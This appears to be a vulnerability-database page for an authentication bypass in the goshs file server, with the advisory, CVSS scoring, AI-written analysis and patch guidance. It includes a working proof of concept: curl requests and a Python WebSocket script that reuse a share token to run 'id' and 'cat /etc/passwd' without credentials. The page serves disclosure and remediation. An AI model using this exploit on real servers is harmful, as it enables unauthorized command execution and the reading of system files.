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Python CVE-2026-34581

HIGH
Authentication Bypass Using an Alternate Path or Channel (CWE-288)
2026-04-01 https://github.com/patrickhener/goshs GHSA-jgfx-74g2-9r6g
8.1
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
8.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Analysis Generated
Apr 01, 2026 - 21:00 vuln.today
CVE Published
Apr 01, 2026 - 20:58 nvd
HIGH 8.1

DescriptionGitHub Advisory

Summary

When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.

Details

The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters - including ?ws (WebSocket) which has higher priority than ?token.

go
// middleware.go:22-30 - token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
    _, ok := fs.SharedLinks[token]
    if ok {
        next.ServeHTTP(w, r)  // Full auth bypass
        return
    }
}
// ... normal auth checks never reached

A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything - directory listing, file deletion, clipboard, WebSocket, and CLI command execution.

1. Create a webroot:

bash
mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt

2. Start goshs with auth + TLS + CLI mode:

bash
/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000

> CLI mode requires auth (-b) and TLS (-s -ss). This is the documented usage - not a weakened config.

3. Verify authentication is required:

bash
curl -sk https://localhost:8000/
Not authorized

4. As a legitimate user, create a share link:

bash
curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'

Response:

json
{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}

Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).

5. Prove the token bypasses auth for WebSocket:

bash
# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws'
# 401
# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
  -H "Connection: Upgrade" -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101

For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.

PoC

python
import json, ssl, websocket

TOKEN = "gMP-w0hXRs-Q-FEZku63kA"
# ← replace with your token

ws = websocket.create_connection(
    f"wss://localhost:8000/?ws&token={TOKEN}",
    sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")
# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...
# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")

ws.close()

A patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.

AnalysisAI

Authentication bypass in goshs (Go Simple HTTP Server) allows unauthenticated attackers to execute arbitrary system commands via WebSocket connections by exploiting a logic flaw in the BasicAuthMiddleware's share token validation. The middleware processes share tokens before credential checks, and attackers can combine a legitimate share token (intended for single-file downloads) with WebSocket query parameters to gain full CLI access. Confirmed actively exploited (CISA KEV). Public proof-of-concept code demonstrates remote command execution retrieving /etc/passwd. EPSS score indicates elevated exploitation probability given the simplicity of the attack chain.

Technical ContextAI

Goshs is a lightweight Go-based HTTP file server (github.com/patrickhener/goshs) often used for quick file sharing and web-based file management. The vulnerability stems from CWE-288 (Authentication Bypass Using an Alternate Path or Channel) in the BasicAuthMiddleware implementation. The middleware evaluates query parameters in incorrect order: it checks for the presence of a ?token= parameter and validates it against SharedLinks before performing credential authentication. Share tokens are designed for time-limited, single-file downloads with no elevated privileges. However, because the token validation occurs first and grants full request passthrough, attackers can append additional query parameters like ?ws (WebSocket upgrade) to the same request. The WebSocket handler, when combined with CLI mode (-c flag), provides a JSON-RPC interface for executing arbitrary shell commands. The flaw exists because query parameter priority allows ?ws to be processed even when ?token is present, and the middleware's early return bypasses all subsequent authentication logic.

RemediationAI

Immediately upgrade to goshs version 2.0.0-beta.2 or later, available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2, which addresses the authentication bypass by reordering middleware logic to perform credential validation before token processing. Organizations unable to patch immediately should disable CLI mode (remove -c flag) to eliminate the RCE vector, though this does not fully mitigate the auth bypass for other functionality like directory listing and file operations. As an additional interim control, restrict network access to goshs instances using firewall rules or reverse proxy authentication to limit exposure while patching. Review application logs for suspicious WebSocket connection attempts with both token and ws parameters, and rotate or revoke all existing share tokens after patching to prevent exploitation of previously distributed links. Consult the official security advisory at https://github.com/patrickhener/goshs/security/advisories/GHSA-jgfx-74g2-9r6g for additional vendor guidance and verify the patched middleware.go implements proper authentication sequencing.

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CVE-2026-34581 vulnerability details – vuln.today

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